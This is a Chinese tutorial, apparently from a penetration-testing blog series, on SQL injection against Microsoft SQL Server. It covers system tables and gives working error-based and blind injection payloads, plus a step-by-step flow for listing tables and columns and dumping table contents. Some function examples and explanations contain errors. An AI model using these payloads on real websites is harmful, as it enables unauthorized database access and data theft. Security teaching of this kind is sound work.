这是一方创作的“手把手教你SQL注入”系列的第10篇文章,在之前的文章中,一方已经把进行SQL注入的绝大部分“应知必会”内容给讲完啦,但是之前的文章讲解SQL注入时用的都是MySQL,这里一方再为大家拓展一波,本节针对SQLsever注入进行讲解----
MSSQL是Microsoft SQL Server的简称,是一种关系型数据库管理系统,由微软公司开发和维护
MSSQL是Microsoft SQL Server的简称,是一种关系型数据库管理系统,由微软公司开发和维护
本文中sqlsever和mssql其实是同一种东西,只是一方平时习惯于用sqlsever来称呼
SQLsever注入与MySQL注入有何区别?
在SQL注入中,SQLsever和MySQL的区别主要在于数据库管理系统(DBMS)本身的特性和注入技巧的差异,但是在进行SQL注入时二者区别不大。也就是说两者在进行SQL注入时的思路方法都是一样的,只是在注入过程中用到的语句和函数会有所不同,因此,如果你掌握了针对MySQL进行SQL注入的方法,那么在针对SQLsever进行注入时也不会有过大的阻碍🙉
一,SQLsever数据库结构分析:
在进行MSSQL注入前,我们最好对SQLsever中的常用函数、4大初始数据库以及内置系统表有一定的了解,因为我们在渗透过程中所具体针对的对象就是它们---
SQLsever注入常用函数
db_name() | 返回当前数据库的名称 |
host_name() | 返回计算机名称 |
current_user | 返回当前数据库的用户名 |
user | 数据库用户 |
substring() | 字符串截取函数 |
@@version | 查看数据库版本 |
char() | ASCII 转字符函数 |
cast(text as type() | 字符类型转换,如果转换失败会将 text 结果报错显示在页面上 |
object_id() | 根据表名返回数据库表名 ID |
object_name() | 根据 ID 返回数据库表名 |
col_name(object_id,column_id) | 返回指定表中指定字段(列)的名称 |
SQLsever初始数据库:
master 数据库 | 记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,以及所有其他数据库信息。 |
model 数据库 | 是一个模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本的数据库,并更改成你创建数据库时所用的名。 |
msdb 数据库 | 是 SQL Server 代理的数据库,用于配置使用 SQL Server 代理和预定作业等。 |
tempddb 数据库 | 是 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求。 |
SQLsever内置系统表:
sysdatabases表 | 该表只保存在 master 数据库中,这个表中保存的是所有的库名 | 主要字段就是数据库名(name)。 例如:master.sysdatabases.name |
Sysobjects 表 | SQLServer 中的每个数据库内都有此系统表,存放着数据库所有的表名。 该表的格式一般为master.sysobjects 作用等同于MySQL中的 information_schema.tables | 主要字段有:name、id、xtype 分别是表名、表 ID、创建的对象。其中 xtype='U'代表是用户建立的表。 master.sysobjects.name |
Syscolumns 表 | 该表位于每个数据库中,存放着所有数据库所有的字段名。 | 主要字段有:name、id 分别是字段名称、表 ID,其中的 ID 是用 sysobjects 得到的表的 ID 号。也就是说,sysobjects和syscolumns中的表ID是相同的! master.syscolumns.name |
SQLsever查询 数据库名=》表名=》字段名
查询数据库名: | master.sysdatabases.name |
查询表名: | master.sysobjects.name |
查询字段名: | master.syscolumns.name |
只是这样单纯的列资料很不直观,下面一方借助EXCEL来为大家举例说明一下:
假如我们创建了一个名叫mssql-users的数据库,并在这个库中创建了一个users表,而users表的内容为:
usersusers | ||
id | username | password |
1 | 洛一方 | I am luoyifang |
那么此时mssql-users库的结构如下所示:
mssql-users数据库 | ||||
name | 《=数据库所含表名 | |||
sysobjects | ||||
syscolumns | ||||
user表 | ||||
其他表 | ||||
users表 | ||||
id | username | password | ||
1 | 洛一方 | I am luoyifang | ||
sysobjects表 | ||||
id | name | xtype | ||
1 | sysobjects | s | ||
2 | syscolumns | s | ||
3 | users | u | ||
4 | 其他表 | u | ||
syscolumns表 | ||||
id | name | |||
3 | id | |||
3 | username | |||
3 | password | |||
1 | id | |||
1 | name | |||
1 | type |
需要注意的是,由于sysobjects表在sqlsever的每个数据库都存在,所以我们可以利用这一特性来识别网站是否使用sqlsever,具体可以参考下面这篇文章中的“如何判断数据库类型”部分----
渗透测试---手把手教你SQL注入(7)---Access数据库注入http://t.csdnimg.cn/W73dh
二,SQLsever注入---报错注入
渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)
借助四则运算直接报错:
MSsql属于强类型数据库,它对数字和字符进行了严格区分,因此例如 1/user 这样的语句,mssql可能会在报错内容中直接爆出用户名!
例如:
'or 1=convert(int,@@version)-- 可能会直接爆出数据库版本信息。
还可以使用 and host_name()=@@servername -- 来判断网站是否进行了“站库分离” 以下给出在SQLsever注入过程中可能会用到的PAYLOAD:
查询数据库版本: | select @@version |
注释后续语句: | select --+ select /**/ |
查询用户信息: | select user_name() select system_user select user select loginame from master.sysprocesses where spid=@@SPID |
查询所有登陆用户: | select name from master.syslogins |
查询当前数据库: | select DB_NAME() |
查询所有数据库: | select name from master.sysdatabases |
三, SQLsever注入---盲注
跟MySQL差不多,只是用到的函数不一样:
这里分享一些一方收集到的SQLsever冷门函数:
1. patindex函数返回某个模式第一次出现的起始位置
patindex(pattern,string)
eg: select patindex('%[0-9]%','abcd123efgh')返回5,
查询数字0-9中任一数字在字符串abcd123efgh"首次出现的位置,
%表示数字前可以匹配任意长度的字符,包括空字符
2. replace函数将字符串中出现的所有某个子串替换为另一个字符串replace(string,substring1,substring2)将substring1替换为substring2
eg: select replace("1-a","2-b","-",":")返回结果为'1:a','2:b'
3. replicate函数按指定的次数复制字符串
replicate(string,n)
eg: select replicate('abc',3)返回'abcabcabc'
4.stuf函数先删除字符串中的一个子串,再插入一个新的子串作为替换
stuff(string,pos,delete length,insertstring)
eg: select stuff('xyz',2,1,'abc')返回xabcz。
5. upper和lower函数将字符串转换为大写或小写
upper(string) lower(string)
6. rtrim和ltrim函数删除字符串中的尾随空格或前导空格
rtrim(string)Itrim(string)
ea: select rtrim(ltrim(' abc ')返回abc
这里再补充一个好用的函数---charindex()
四,SQLsever注入---注入流程
判断权限,如果页面回显正常则为正确,否则报错 | and 1=(select IS_SRVROLEMEMBER('sysadmin')) -- |
获取当前数据库 | And 1=(select db_name()) -- |
获取当前数据库内的所有数据表 | and 1=convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype='U' FOR XML PATH(''))) -- |
获取当前数据库内的指定数据表的所有字段 | and 1=(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名.sysobjects where name='指定表名') FOR XML PATH(''))-- |
获取指定数据库内的表数据内容 | and 1=(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(''))-- |
我们最后再来分析一下这条语句,解释它为什么可以返回当前数据内的所有数据表:
假设数据库名称为mssql-users
and 1=convert(int,(select quotename(name) from
mssql-users.dbo.sysobjects where xtype='U' FOR XML PATH(''))) --
quotename函数的作用是将一个包含特殊字符(例如空格、数字、字符等)
的字符串转换为一个适合在SQL语句中使用的字符串。
例如,如果传入的字符串是"my table",那么quotename会返回"'my table'"。
这个语句是在mssql-users数据库的sysobjects
表中寻找所有的用户表(xtype='U'),并对这些表的名称进行转换(使用quotename
函数),然后将转换结果转换为整数。如果转换后的整数结果为1,那么这个条件就为真。但是,这里存在两个人为构造的问题(构造问题的目的是在报错的内容中包含我们想要的信息):
首先,表的名称(字符串类型)无法被convert()转换为整数,其次,quotename
函数被设计用来处理字符串,并且只能处理一个字符串参数。在这个子查询中,quotename(name)
试图将每个表名(类型为字符串)括在引号内,然后转换为整数。然而由于子查询返回的是一系列的字符串,所以无法直接将这个序列转换为整数。最终mssql服务器就会将包含有所有表名的报错信息回显出来.